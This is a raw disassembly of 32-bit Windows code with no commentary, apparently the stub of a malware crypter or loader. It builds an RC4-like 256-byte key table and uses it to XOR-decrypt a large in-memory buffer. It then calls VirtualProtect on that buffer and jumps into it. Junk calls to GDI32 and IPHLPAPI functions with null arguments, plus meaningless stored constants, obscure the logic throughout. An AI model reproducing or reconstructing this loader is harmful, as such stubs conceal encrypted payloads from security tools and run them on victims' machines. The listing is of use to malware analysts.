fstp qword [ebp - 0xa08]
fld qword [0x65211890]
fstp qword [ebp - 0xa00]
mov word [ebp - 0x1b6], 0xf3eb
movzx eax, word [ebp - 0x1b6]
add eax, 1
mov word [ebp - 0x1b6], ax
mov dword [ebp - 0x44], 0
mov eax, dword [ebp - 0x44]
mov dword [ebp - 0x40], eax
jmp 0x651c4427
mov ecx, dword [ebp - 0x40]
mov edx, 0x66666667
mov eax, ecx
imul edx
sar edx, 3
mov eax, ecx
sar eax, 0x1f
sub edx, eax
mov eax, edx
shl eax, 2
add eax, edx
shl eax, 2
sub ecx, eax
mov edx, ecx
movzx eax, byte [edx + 0x651fae98]
xor al, byte [ebp - 0x18d]
movzx edx, al
mov eax, dword [ebp - 0x44]
lea ecx, [edx + eax]
lea edx, [ebp - 0x9f8]
mov eax, dword [ebp - 0x40]
add eax, edx
movzx eax, byte [eax]
movzx eax, al
lea edx, [ecx + eax]
mov eax, edx
sar eax, 0x1f
shr eax, 0x18
add edx, eax
movzx edx, dl
sub edx, eax
mov eax, edx
mov dword [ebp - 0x44], eax
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov dword [esp], 0
mov eax, dword [sym.imp.GDI32.dll_CreateICA]
call eax
sub esp, 0x10
mov dword [ebp - 0x2fc], eax
mov dword [esp], 0
call sub.IPHLPAPI.DLL_GetTcpStatistics
sub esp, 4
mov dword [ebp - 0x300], eax
lea edx, [ebp - 0x9f8]
mov eax, dword [ebp - 0x40]
add eax, edx
movzx eax, byte [eax]
mov byte [ebp - 0x301], al
mov byte [ebp - 0x302], 0x9d
mov word [ebp - 0x304], 0x17a3
lea edx, [ebp - 0x9f8]
mov eax, dword [ebp - 0x44]
add eax, edx
movzx eax, byte [eax]
lea ecx, [ebp - 0x9f8]
mov edx, dword [ebp - 0x40]
add edx, ecx
mov byte [edx], al
mov word [ebp - 0x1052], 0x294c
mov word [ebp - 0x1050], 0xcc41
mov word [ebp - 0x104e], 0xfa90
mov word [ebp - 0x104c], 0xa4e2
mov word [ebp - 0x104a], 0x5d86
mov word [ebp - 0x1048], 0x465a
mov word [ebp - 0x1046], 0x418
mov word [ebp - 0x1044], 0x4c1
lea edx, [ebp - 0x9f8]
mov eax, dword [ebp - 0x44]
add edx, eax
movzx eax, byte [ebp - 0x301]
mov byte [edx], al
mov dword [ebp - 0x308], 1
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov dword [esp], 0
mov eax, dword [sym.imp.GDI32.dll_CreateDCA]
call eax
sub esp, 0x10
mov dword [ebp - 0x30c], eax
add dword [ebp - 0x40], 1
cmp dword [ebp - 0x40], 0xff
jle 0x651c42a9
mov word [ebp - 0xa26], 0x72cb
mov word [ebp - 0xa24], 0xb2fd
mov word [ebp - 0xa22], 0xb179
mov byte [ebp - 0x1b7], 0x50
mov dword [ebp - 0x44], 0
mov eax, dword [ebp - 0x44]
mov dword [ebp - 0x40], eax
mov dword [ebp - 0x1bc], 1
mov word [ebp - 0xa36], 0x110e
mov word [ebp - 0xa34], 0x8ec0
mov word [ebp - 0xa32], 0x5f6f
mov word [ebp - 0xa30], 0x5b76
mov word [ebp - 0xa2e], 0xbe07
mov word [ebp - 0xa2c], 0x8b88
mov word [ebp - 0xa2a], 0xc3cb
mov word [ebp - 0xa28], 0x993f
mov dword [ebp - 0x48], 0x338ea
jmp 0x651c4833
mov dword [ebp - 0x1068], 1
mov dword [ebp - 0x1064], 1
mov dword [ebp - 0x1060], 1
mov dword [ebp - 0x105c], 0
mov dword [ebp - 0x1058], 1
mov byte [ebp - 0x2d9], 0x93
mov eax, dword [ebp - 0x40]
lea edx, [eax + 1]
mov eax, edx
sar eax, 0x1f
shr eax, 0x18
add edx, eax
movzx edx, dl
sub edx, eax
mov eax, edx
mov dword [ebp - 0x40], eax
mov word [ebp - 0x1072], 0x67ab
mov word [ebp - 0x1070], 0x5608
mov word [ebp - 0x106e], 0x6c7c
mov word [ebp - 0x106c], 0x1e5a
mov word [ebp - 0x106a], 0x9684
mov dword [ebp - 0x2e0], 0
lea edx, [ebp - 0x9f8]
mov eax, dword [ebp - 0x40]
add eax, edx
movzx eax, byte [eax]
movzx edx, al
mov eax, dword [ebp - 0x44]
add edx, eax
mov eax, edx
sar eax, 0x1f
shr eax, 0x18
add edx, eax
movzx edx, dl
sub edx, eax
mov eax, edx
mov dword [ebp - 0x44], eax
mov dword [ebp - 0x107a], 0xa9e51903
mov dword [ebp - 0x1076], 0xfff249ef
mov dword [ebp - 0x2e4], 0x518e4365
mov dword [ebp - 0x1080], 0xae811735
mov word [ebp - 0x107c], 0x6104
mov word [ebp - 0x1083], 0x14b7
mov byte [ebp - 0x1081], 0x8f
lea edx, [ebp - 0x9f8]
mov eax, dword [ebp - 0x44]
add eax, edx
movzx eax, byte [eax]
mov byte [ebp - 0x2e5], al
mov dword [ebp - 0x1094], 0x79ed3023
mov dword [ebp - 0x1090], 0x500b7a4b
mov dword [ebp - 0x108c], 0xfb5dda1
mov dword [ebp - 0x1088], 0x2b246c06
mov dword [esp], 0
mov eax, dword [sym.imp.GDI32.dll_CancelDC]
call eax
sub esp, 4
mov dword [ebp - 0x2ec], eax
lea edx, [ebp - 0x9f8]
mov eax, dword [ebp - 0x40]
add eax, edx
movzx eax, byte [eax]
lea ecx, [ebp - 0x9f8]
mov edx, dword [ebp - 0x44]
add edx, ecx
mov byte [edx], al
mov word [ebp - 0x10a6], 0xf46b
mov word [ebp - 0x10a4], 0xfabe
mov word [ebp - 0x10a2], 0x9a91
mov word [ebp - 0x10a0], 0x206a
mov word [ebp - 0x109e], 0xd22e
mov word [ebp - 0x109c], 0x8972
mov word [ebp - 0x109a], 0x7684
mov word [ebp - 0x1098], 0x70d6
mov word [ebp - 0x1096], 0x2350
mov dword [ebp - 0x10c4], 0x90d19f91
mov dword [ebp - 0x10c0], 0x67e2f041
mov dword [ebp - 0x10bc], 0xedbe624e
mov dword [ebp - 0x10b8], 0x3c3011e6
mov dword [ebp - 0x10b4], 0xda7a1f2f
mov dword [ebp - 0x10b0], 0xd8699098
mov dword [ebp - 0x10ac], 0xcb421f83
lea edx, [ebp - 0x9f8]
mov eax, dword [ebp - 0x40]
add edx, eax
movzx eax, byte [ebp - 0x2e5]
mov byte [edx], al
mov word [ebp - 0x2ee], 0x42f5
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov dword [esp], 0
mov eax, dword [sym.imp.GDI32.dll_EnumEnhMetaFile]
call eax
sub esp, 0x14
mov dword [ebp - 0x2f4], eax
mov word [ebp - 0x10d8], 0x3d17
mov word [ebp - 0x10d6], 0x80c2
mov word [ebp - 0x10d4], 0xdfe1
mov word [ebp - 0x10d2], 0xbb1f
mov word [ebp - 0x10d0], 0xe56c
mov word [ebp - 0x10ce], 0x443b
mov word [ebp - 0x10cc], 0x6bbc
mov word [ebp - 0x10ca], 0x9471
mov word [ebp - 0x10c8], 0xb7
mov word [ebp - 0x10c6], 0xbb32
mov dword [ebp - 0x10de], 0x6542e30
mov word [ebp - 0x10da], 0x1221
mov edx, dword [ebp - 0x48]
mov eax, dword [ebp - 0x64]
add eax, edx
movzx ecx, byte [eax]
lea edx, [ebp - 0x9f8]
mov eax, dword [ebp - 0x44]
add eax, edx
movzx edx, byte [eax]
movzx eax, byte [ebp - 0x2e5]
add eax, edx
movzx eax, al
movzx eax, byte [ebp + eax - 0x9f8]
mov ebx, eax
mov edx, dword [ebp - 0x48]
mov eax, dword [ebp - 0x64]
add eax, edx
xor ecx, ebx
mov edx, ecx
mov byte [eax], dl
mov dword [ebp - 0x2f8], 0x6511b86
fld dword [0x65211898]
fstp dword [ebp - 0x1128]
fld dword [0x6521189c]
fstp dword [ebp - 0x1124]
fld dword [0x652118a0]
fstp dword [ebp - 0x1120]
fld dword [0x652118a4]
fstp dword [ebp - 0x111c]
fld dword [0x652118a8]
fstp dword [ebp - 0x1118]
fld dword [0x652118ac]
fstp dword [ebp - 0x1114]
fld dword [0x652118b0]
fstp dword [ebp - 0x1110]
fld dword [0x652118b4]
fstp dword [ebp - 0x110c]
fld dword [0x652118b8]
fstp dword [ebp - 0x1108]
add dword [ebp - 0x48], 1
cmp dword [ebp - 0x48], 0x671d3
jle 0x651c44c1
fld qword [0x652118c0]
fstp qword [ebp - 0x1c8]
mov word [ebp - 0xa40], 0x5fb
mov word [ebp - 0xa3e], 0x9669
mov word [ebp - 0xa3c], 0x4070
mov word [ebp - 0xa3a], 0x4f18
mov word [ebp - 0xa38], 0xb98c
fld dword [0x652118c8]
fstp dword [ebp - 0xa64]
fld dword [0x652118cc]
fstp dword [ebp - 0xa60]
fld dword [0x652118d0]
fstp dword [ebp - 0xa5c]
fld dword [0x652118d4]
fstp dword [ebp - 0xa58]
fld dword [0x652118d8]
fstp dword [ebp - 0xa54]
fld dword [0x652118dc]
fstp dword [ebp - 0xa50]
fld dword [0x652118e0]
fstp dword [ebp - 0xa4c]
fld dword [0x652118e4]
fstp dword [ebp - 0xa48]
fld dword [0x652118e8]
fstp dword [ebp - 0xa44]
mov byte [ebp - 0x1c9], 0xbb
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov dword [esp], 0
mov eax, dword [sym.imp.GDI32.dll_Ellipse]
call eax
sub esp, 0x14
mov dword [ebp - 0x1d0], eax
mov dword [esp], 0
call sub.IPHLPAPI.DLL_SetIpNetEntry
sub esp, 4
mov dword [ebp - 0x1d4], eax
mov word [ebp - 0x1d6], 0x9d89
mov byte [ebp - 0x1d7], 0x5a
lea eax, [ebp - 0xa68]
mov dword [esp + 0xc], eax
mov dword [esp + 8], 0x20
mov dword [esp + 4], 0x671d4
mov eax, dword [ebp - 0x64]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_VirtualProtect]
call eax
sub esp, 0x10
mov dword [ebp - 0x1dc], 0
mov word [ebp - 0x1de], 0x16cb
mov word [ebp - 0x1e0], 0x3d9c
mov dword [ebp - 0x1e4], 0x5696958
add dword [ebp - 0x64], 0x338ea
fld qword [0x652118f0]
fstp qword [ebp - 0x1f0]
mov dword [esp], 0
call sub.IPHLPAPI.DLL_SetIfEntry
sub esp, 4
mov dword [ebp - 0x1f4], eax
fld qword [0x652118f8]
fstp qword [ebp - 0x200]
fld qword [0x65211900]
fstp qword [ebp - 0x208]
mov word [ebp - 0xa6e], 0xfa6e
mov word [ebp - 0xa6c], 0xb05
mov word [ebp - 0xa6a], 0xe866
fldz
fstp dword [esp + 0x14]
fldz
fstp dword [esp + 0x10]
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov dword [esp], 0
mov eax, dword [sym.imp.GDI32.dll_AngleArc]
call eax
sub esp, 0x18
mov dword [ebp - 0x20c], eax
mov dword [ebp - 0xa98], 0
mov dword [ebp - 0xa94], 0
mov dword [ebp - 0xa90], 0
mov dword [ebp - 0xa8c], 1
mov dword [ebp - 0xa88], 0
mov dword [ebp - 0xa84], 0
mov dword [ebp - 0xa80], 1
mov dword [ebp - 0xa7c], 1
mov dword [ebp - 0xa78], 0
mov dword [ebp - 0xa74], 1
fld dword [0x65211908]
fstp dword [ebp - 0x210]
mov dword [esp], 0
mov eax, dword [sym.imp.GDI32.dll_CloseFigure]
call eax
sub esp, 4
mov dword [ebp - 0x214], eax
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov dword [esp], 0
mov eax, dword [sym.imp.GDI32.dll_CombineRgn]
call eax
sub esp, 0x10
mov dword [ebp - 0x218], eax
mov dword [ebp - 0x21c], 0x6ffdaf27
mov dword [ebp - 0xab4], 0x7e7a0396
mov dword [ebp - 0xab0], 0x29e43969
mov dword [ebp - 0xaac], 0x1b6d3dee
mov dword [ebp - 0xaa8], 0xc94df92f
mov dword [ebp - 0xaa4], 0x4e8bd17f
mov dword [ebp - 0xaa0], 0x20ca9fbb
mov dword [ebp - 0xa9c], 0x75b3ba20
fld dword [0x6521190c]
fstp dword [ebp - 0xad8]
fld dword [0x65211910]
fstp dword [ebp - 0xad4]
fld dword [0x65211914]
fstp dword [ebp - 0xad0]
fld dword [0x65211918]
fstp dword [ebp - 0xacc]
fld dword [0x6521191c]
fstp dword [ebp - 0xac8]
fld dword [0x65211920]
fstp dword [ebp - 0xac4]
fld dword [0x65211924]
fstp dword [ebp - 0xac0]
fld dword [0x65211928]
fstp dword [ebp - 0xabc]
fld dword [0x6521192c]
fstp dword [ebp - 0xab8]
mov dword [ebp - 0xaec], 0x6d329b77
mov dword [ebp - 0xae8], 0x43770f29
mov dword [ebp - 0xae4], 0x8e023008
mov dword [ebp - 0xae0], 0x9f72ffd6
mov dword [ebp - 0xadc], 0x64ecd8b5
mov word [ebp - 0xafa], 0xf94
mov word [ebp - 0xaf8], 0x7ef
mov word [ebp - 0xaf6], 0x6d8e
mov word [ebp - 0xaf4], 0x9d0
mov word [ebp - 0xaf2], 0xd2f6
mov word [ebp - 0xaf0], 0xf304
mov word [ebp - 0xaee], 0x3931
lea eax, [ebp - 0xb50]
mov ebx, 0x651c70c0
mov edx, 0x14
mov edi, eax
mov esi, ebx
mov ecx, edx
rep movsd dword es:[edi], dword [esi]
mov word [ebp - 0x21e], 0x1751
mov eax, dword [ebp - 0x64]
mov dword [ebp - 0x224], eax
mov dword [ebp - 0xb6c], 0x36a7c7bf
mov dword [ebp - 0xb68], 0x3a22c5ed
mov dword [ebp - 0xb64], 0xcba4d91e
mov dword [ebp - 0xb60], 0x162e5caf
mov dword [ebp - 0xb5c], 0x6e956ff7
mov dword [ebp - 0xb58], 0x1e5f329b
mov dword [ebp - 0xb54], 0x1c3e1a84
mov eax, dword [ebp - 0x224]
call eax
mov word [ebp - 0xb7e], 0x29ba
mov word [ebp - 0xb7c], 0xb1ea
mov word [ebp - 0xb7a], 0xb01b
mov word [ebp - 0xb78], 0xd115
mov word [ebp - 0xb76], 0x910c
mov word [ebp - 0xb74], 0x1528
mov word [ebp - 0xb72], 0xe156
mov word [ebp - 0xb70], 0x7697
mov word [ebp - 0xb6e], 0xb303
mov dword [ebp - 0x228], 1
mov dword [ebp - 0xba8], 0
mov dword [ebp - 0xba4], 1
mov dword [ebp - 0xba0], 0
mov dword [ebp - 0xb9c], 1
mov dword [ebp - 0xb98], 0
mov dword [ebp - 0xb94], 1
mov dword [ebp - 0xb90], 1
mov dword [ebp - 0xb8c], 0
mov dword [ebp - 0xb88], 1
mov dword [ebp - 0xb84], 1
mov word [ebp - 0x22a], 0x3cd0
mov byte [ebp - 0x22b], 0xf1
mov dword [ebp - 0xbad], 0xdf5acff
mov byte [ebp - 0xba9], pe_nt_image_headers32
mov word [ebp - 0x22e], 0x435a
mov word [ebp - 0xbbe], 0xe0a5
mov word [ebp - 0xbbc], 0xe9d8
mov word [ebp - 0xbba], 0xb94b
mov word [ebp - 0xbb8], 0xd462
mov word [ebp - 0xbb6], 0x6be5
mov word [ebp - 0xbb4], 0x93c3
mov word [ebp - 0xbb2], 0xca98
mov word [ebp - 0xbb0], 0x5505
mov dword [ebp - 0xbd4], 0x76acb446
mov dword [ebp - 0xbd0], 0x1e537061
mov dword [ebp - 0xbcc], 0xda04f705
mov dword [ebp - 0xbc8], 0x1ead428c
mov dword [ebp - 0xbc4], 0xc2a1d53d
mov word [ebp - 0xbda], 0xf285
mov word [ebp - 0xbd8], 0xde7e
mov word [ebp - 0xbd6], 0x14dd
mov dword [esp], 0
call sub.IPHLPAPI.DLL_SetIpStatistics
sub esp, 4
mov dword [ebp - 0x234], eax
mov dword [ebp - 0xbe4], 0xf7ad3098
mov dword [ebp - 0xbe0], 0xf8f08045
mov word [ebp - 0xbdc], 0x42b0
mov word [ebp - 0xbea], 0x60ad
mov word [ebp - 0xbe8], 0x6215
mov word [ebp - 0xbe6], 0x6c06
mov byte [ebp - 0x235], 0x26
mov dword [ebp - 0x23c], 0xaf3fed3c
mov word [ebp - 0x23e], 0xdd25
mov dword [ebp - 0xbf0], 0x53eb6b6e
mov word [ebp - 0xbec], 0xf591
mov dword [ebp - 0x244], 0x2b3d0b33
mov dword [ebp - 0xbfa], 0x407f4131
mov dword [ebp - 0xbf6], 0x8b787970
mov word [ebp - 0xbf2], 0x29b6
fld dword [0x65211930]
fstp dword [ebp - 0xc20]
fld dword [0x65211934]
fstp dword [ebp - 0xc1c]
fld dword [0x65211938]
fstp dword [ebp - 0xc18]
fld dword [0x6521193c]
fstp dword [ebp - 0xc14]
fld dword [0x65211940]
fstp dword [ebp - 0xc10]
fld dword [0x65211944]
fstp dword [ebp - 0xc0c]
fld dword [0x65211948]
fstp dword [ebp - 0xc08]
fld dword [0x6521194c]
fstp dword [ebp - 0xc04]
fld dword [0x65211950]
fstp dword [ebp - 0xc00]
mov byte [ebp - 0x245], 0x10
mov dword [ebp - 0x3f4], 0x6b412acf
mov dword [ebp - 0x3f8], 0x7b128713
mov dword [ebp - 0x114c], 0x19469551
mov dword [ebp - 0x1148], 0x882f3ba
mov dword [ebp - 0x1144], 0x74810c6a
mov dword [ebp - 0x1140], 0x535412c1
mov dword [ebp - 0x113c], 0x4a5fbba7
mov dword [ebp - 0x1138], 0xb03340ed
mov dword [ebp - 0x1134], 0x98551b46
mov dword [ebp - 0x1130], 0xf949fe71
mov dword [ebp - 0x112c], 0xd17fc087
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov dword [esp], 0
mov eax, dword [sym.imp.GDI32.dll_CreateICA]
call eax
sub esp, 0x10
mov dword [ebp - 0x3fc], eax
mov dword [ebp - 0xeb0], 0x1f5dd704
mov dword [ebp - 0xeac], 0xe5700591
mov dword [ebp - 0xea8], 0x87f87f49
mov dword [ebp - 0xea4], 0xe16993a7
mov dword [ebp - 0xea0], 0x8ccad4d4
mov dword [ebp - 0xe9c], 0x120b138d
mov dword [ebp - 0xe98], 0xd5476aa4
mov dword [ebp - 0x400], 0xf342
jmp 0x651c5018
mov byte [ebp - 0x401], 0x60
sub dword [ebp - 0x400], 1
cmp dword [ebp - 0x400], 0x8947
jle 0x651c500a
mov dword [ebp - 0x1128], 0xb06d62f7
mov dword [ebp - 0x1124], 0xd3c1afbe
mov dword [ebp - 0x1120], 0xa73b7309
mov dword [ebp - 0x111c], 0xa06fdfba
mov dword [ebp - 0x1118], 0xea1cd0db
mov dword [ebp - 0x1114], 0xb2d1ec16
mov dword [ebp - 0x1110], 0x33a7afb2
mov dword [ebp - 0x110c], 0x8e59b947
mov dword [ebp - 0x1108], 0xbd1ef98f
mov dword [ebp - 0x1104], 0xbcc0a339
mov dword [ebp - 0xece], 0xa23fde4a
mov word [ebp - 0xeca], 0x5d59
mov word [ebp - 0x404], 0xaa5c
mov byte [ebp - 0x405], 0xeb
mov dword [ebp - 0x1128], 0x7b02480
mov dword [ebp - 0x1124], 0xeafbc80d
mov dword [ebp - 0x1120], 0x335592ee
mov dword [ebp - 0x111c], 0x66146fc
mov dword [ebp - 0x1118], 0x5e8985af
mov dword [ebp - 0x1114], 0x3dd7ee71
mov dword [ebp - 0x1110], 0xa5464da9
mov dword [ebp - 0x110c], 0x4d10a8d7
mov dword [ebp - 0x1108], 0xae2ece8b
nop
mov byte [ebp - 0x246], 0xc6
mov byte [ebp - 0x247], 0x11
mov word [ebp - 0x24a], 0xbe3f
mov dword [ebp - 0xc27], 0xd3b4b8d7
mov word [ebp - 0xc23], 0xea9d
mov byte [ebp - 0xc21], 0xbd
mov byte [ebp - 0x3ed], 0x9a
movzx eax, byte [ebp - 0x3ed]
add eax, 1
mov byte [ebp - 0x3ed], al
nop
mov dword [ebp - 0xc31], 0x3751ae16
mov dword [ebp - 0xc2d], 0x96d626ca
mov word [ebp - 0xc29], 0x9a05
mov dword [ebp - 0x250], 0x92128f5e
mov word [ebp - 0xc42], 0x4f5b
mov word [ebp - 0xc40], 0xb5fc
mov word [ebp - 0xc3e], 0xd6dc
mov word [ebp - 0xc3c], 0xf920
mov word [ebp - 0xc3a], 0xb416
mov word [ebp - 0xc38], 0xef40
mov word [ebp - 0xc36], 0xbb45
mov word [ebp - 0xc34], 0x6b2c
mov dword [ebp - 0xc60], 1
mov dword [ebp - 0xc5c], 1
mov dword [ebp - 0xc58], 1
mov dword [ebp - 0xc54], 1
mov dword [ebp - 0xc50], 1
mov dword [ebp - 0xc4c], 1
mov dword [ebp - 0xc48], 1
mov dword [ebp - 0x1128], 0xd77b4a36
mov dword [ebp - 0x1124], 0xc2c48604
mov dword [ebp - 0x1120], 0x3fb35fc0
mov dword [ebp - 0x111c], 0xfc3d43b3
mov dword [ebp - 0x1118], 0xb890cd
mov dword [ebp - 0x1114], 0x30c7e90f
mov dword [ebp - 0x1110], 0xdaff32d
mov dword [ebp - 0x110c], 0xc6ba8f45
mov dword [ebp - 0x1108], 0x417c0405
mov dword [ebp - 0x1104], 0x7a551e00
mov dword [ebp - 0xee4], 0x1f3d35c1
mov dword [ebp - 0xee0], 0x27116fb7
mov dword [ebp - 0xedc], 0x19ff14a5
mov dword [ebp - 0xed8], 0xff303072
mov dword [ebp - 0xed4], 0x5b11e65f
mov dword [ebp - 0x3ec], 0x3aac1587
nop
mov word [ebp - 0xc70], 0x4a83
mov word [ebp - 0xc6e], 0xa9e4
mov word [ebp - 0xc6c], 0xac40
mov word [ebp - 0xc6a], 0x2416
mov word [ebp - 0xc68], 0xdc16
mov word [ebp - 0xc66], 0x7cc5
mov word [ebp - 0xc64], 0x5846
mov word [ebp - 0xc62], 0x4cab
mov dword [ebp - 0xc84], 0xa9259305
mov dword [ebp - 0xc80], 0xa47c7806
mov dword [ebp - 0xc7c], 0x88fd55b9
mov dword [ebp - 0xc78], 0xb4fdf249
mov dword [ebp - 0xc74], 0x6352cdf3
fld dword [0x65211954]
fstp dword [ebp - 0xc9c]
fld dword [0x65211958]
fstp dword [ebp - 0xc98]
fld dword [0x6521195c]
fstp dword [ebp - 0xc94]
fld dword [0x65211960]
fstp dword [ebp - 0xc90]
fld dword [0x65211964]
fstp dword [ebp - 0xc8c]
fld dword [0x65211968]
fstp dword [ebp - 0xc88]
mov dword [ebp - 0x3dc], 0x5de0ae1e
mov dword [ebp - 0x3e0], 0x3ba6a5bd
mov dword [esp], 0
call sub.IPHLPAPI.DLL_GetUdpStatistics
sub esp, 4
mov dword [ebp - 0x3e4], eax
mov dword [ebp - 0x3e8], 0x9a18980d
nop
mov word [ebp - 0xcae], 0xbea8
mov word [ebp - 0xcac], 0xa7a9
mov word [ebp - 0xcaa], 0xb52e
mov word [ebp - 0xca8], 0x7d83
mov word [ebp - 0xca6], 0x33b6
mov word [ebp - 0xca4], 0x7411
mov word [ebp - 0xca2], 0x332
mov word [ebp - 0xca0], 0x26cc
mov word [ebp - 0xc9e], 0x8a8d
mov dword [ebp - 0xcd8], 0x76604934
mov dword [ebp - 0xcd4], 0x9f76a55d
mov dword [ebp - 0xcd0], 0xd5181c8c
mov dword [ebp - 0xccc], 0x58af691d
mov dword [ebp - 0xcc8], 0xbbd9da68
mov dword [ebp - 0xcc4], 0x3d16a77d
mov dword [ebp - 0xcc0], 0xa490fb2b
mov dword [ebp - 0xcbc], 0xe3800012
mov dword [ebp - 0xcb8], 0xb35961d5
mov dword [ebp - 0xcb4], 0xdf39e683
mov dword [ebp - 0xcdf], 0x22253d77
mov word [ebp - 0xcdb], 0x853c
mov byte [ebp - 0xcd9], 0x8a
mov dword [ebp - 0x254], 0xedc11dca
mov byte [ebp - 0x3cd], 0x9b
mov dword [ebp - 0x3d4], 0x3c43
jmp 0x651c54ab
mov dword [ebp - 0xee8], 0xbd0a5304
mov dword [ebp - 0xeec], 0x3b0a792b
mov word [ebp - 0x3d6], 0x54c1
sub dword [ebp - 0x3d4], 1
movsx eax, byte [ebp - 0x3cd]
cmp dword [ebp - 0x3d4], eax
je 0x651c5487
nop
mov dword [ebp - 0x258], 0xc5c08806
mov dword [esp], 0
call sub.IPHLPAPI.DLL_IpReleaseAddress
sub esp, 4
mov dword [ebp - 0x25c], eax
mov word [ebp - 0x25e], 0x9482
mov dword [ebp - 0x3c4], 0xc2463426
mov byte [ebp - 0x3c5], 0x9c
mov dword [ebp - 0x3cc], 0x96cc
nop
movzx eax, byte [ebp - 0x3c5]
cmp dword [ebp - 0x3cc], eax
jg 0x651c5515
mov byte [ebp - 0x3c5], 0x1b
nop
mov dword [ebp - 0x264], 0x496a6e30
fld qword [0x65211970]
fstp qword [ebp - 0xd20]
fld qword [0x65211978]
fstp qword [ebp - 0xd18]
fld qword [0x65211980]
fstp qword [ebp - 0xd10]
fld qword [0x65211988]
fstp qword [ebp - 0xd08]
fld qword [0x65211990]
fstp qword [ebp - 0xd00]
fld qword [0x65211998]
fstp qword [ebp - 0xcf8]
fld qword [0x652119a0]
fstp qword [ebp - 0xcf0]
fld qword [0x652119a8]
fstp qword [ebp - 0xce8]
mov dword [esp], 0
call sub.IPHLPAPI.DLL_SetIfEntry
sub esp, 4
mov dword [ebp - 0x268], eax
mov dword [esp], 0
call sub.IPHLPAPI.DLL_GetUdpStatistics
sub esp, 4
mov dword [ebp - 0x26c], eax
mov dword [ebp - 0x3c0], 0xf897a89c
mov dword [ebp - 0xf2c], 0x3cd5f6c6
mov dword [ebp - 0xf28], 0x16d52646
mov dword [ebp - 0xf24], 0xb3f07346
mov dword [ebp - 0xf20], 0xaaedcb5c
mov dword [ebp - 0xf1c], 0x26f3290d
mov dword [ebp - 0xf18], 0xd3262312
mov dword [ebp - 0xf14], 0x913fa585
nop
fld dword [0x652119b0]
fstp dword [ebp - 0xd38]
fld dword [0x652119b4]
fstp dword [ebp - 0xd34]
fld dword [0x652119b8]
fstp dword [ebp - 0xd30]
fld dword [0x652119bc]
fstp dword [ebp - 0xd2c]
fld dword [0x652119c0]
fstp dword [ebp - 0xd28]
fld dword [0x652119c4]
fstp dword [ebp - 0xd24]
mov word [ebp - 0x26e], 0x9083
mov dword [ebp - 0x274], 0xb3838885
fld qword [0x652119c8]
fstp qword [ebp - 0x280]
mov dword [ebp - 0x3ac], 1
mov word [ebp - 0x3ae], 0x719d
mov byte [ebp - 0x3af], 0xd5
mov dword [esp], 0
call sub.IPHLPAPI.DLL_GetTcpStatistics
sub esp, 4
mov dword [ebp - 0x3b4], eax
movzx eax, byte [ebp - 0x3af]
sub dword [ebp - 0x3b4], eax
fld dword [0x652119d0]
fstp dword [ebp - 0x3b8]
fld dword [0x652119d4]
fstp dword [ebp - 0x3bc]
nop
mov word [ebp - 0xd42], 0x9127
mov word [ebp - 0xd40], 0xbcf
mov word [ebp - 0xd3e], 0xc1b2
mov word [ebp - 0xd3c], 0xf70e
mov word [ebp - 0xd3a], 0xf9ca
fld dword [0x652119d8]
fstp dword [ebp - 0x284]
mov dword [ebp - 0x398], 1
mov word [ebp - 0x39a], 0x9b08
mov byte [ebp - 0x39b], 0xfb
movsx eax, byte [ebp - 0x39b]
mov dword [ebp - 0x3a0], eax
nop
movsx eax, byte [ebp - 0x39b]
cmp dword [ebp - 0x3a0], eax
mov dword [ebp - 0x1128], 0
mov dword [ebp - 0x1124], 0
mov dword [ebp - 0x1120], 0
mov dword [ebp - 0x111c], 0
mov dword [ebp - 0x1118], 0
mov dword [ebp - 0x1114], 1
mov dword [ebp - 0x1110], 0
mov dword [ebp - 0x110c], 1
mov dword [ebp - 0x1108], 0
movzx eax, byte [ebp - 0x39b]
sub eax, 1
mov byte [ebp - 0x39b], al
mov dword [ebp - 0x3a4], 0xac80
jmp 0x651c57c6
mov dword [esp + 4], 0
mov dword [esp], 0
call sub.IPHLPAPI.DLL_GetUniDirectionalAdapterInfo
sub esp, 8
mov dword [ebp - 0x3a8], eax
mov byte [ebp - 0x39b], 0xe4
sub dword [ebp - 0x3a4], 1
cmp dword [ebp - 0x3a4], 0x92fe
jg 0x651c579b
nop
fldz
fstp dword [esp + 0x14]
fldz
fstp dword [esp + 0x10]
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov dword [esp], 0
mov eax, dword [sym.imp.GDI32.dll_AngleArc]
call eax
sub esp, 0x18
mov dword [ebp - 0x288], eax
mov dword [ebp - 0xd50], 0x97fc4126
mov dword [ebp - 0xd4c], 0x6d07f9ea
mov dword [ebp - 0xd48], 0xe71e3762
mov word [ebp - 0x28a], 0xf2ba
mov byte [ebp - 0x28b], 0x10
fld dword [0x652119dc]
fstp dword [ebp - 0x388]
mov word [ebp - 0x38a], 0x6c18
mov dword [ebp - 0x390], 0x76d1c0ae
mov dword [esp], 0
call sub.IPHLPAPI.DLL_IpRenewAddress
sub esp, 4
mov dword [ebp - 0x394], eax
nop
lea eax, [ebp - 0xda0]
mov ebx, 0x651c7120
mov edx, 0x14
mov edi, eax
mov esi, ebx
mov ecx, edx
rep movsd dword es:[edi], dword [esi]
mov dword [ebp - 0xda7], 0xde3f3f22
mov word [ebp - 0xda3], 0xbbf
mov byte [ebp - 0xda1], 0xee
mov dword [ebp - 0xdcc], 0x407113d6
mov dword [ebp - 0xdc8], 0x1c048351
mov dword [ebp - 0xdc4], 0xad3fd320
mov dword [ebp - 0xdc0], 0xef892175
mov dword [ebp - 0xdbc], 0xb145d420
mov dword [ebp - 0xdb8], 0x7ef42c2c
mov dword [ebp - 0xdb4], 0x31dff02a
mov dword [ebp - 0xdb0], 0xefa8a891
mov dword [ebp - 0xdac], 0x69d1ff23
mov word [ebp - 0xdd4], 0x9b08
mov word [ebp - 0xdd2], 0x54a4
mov word [ebp - 0xdd0], 0xce48
mov word [ebp - 0xdce], 0xb4ad
mov dword [ebp - 0x37c], 0x22cc8f0e
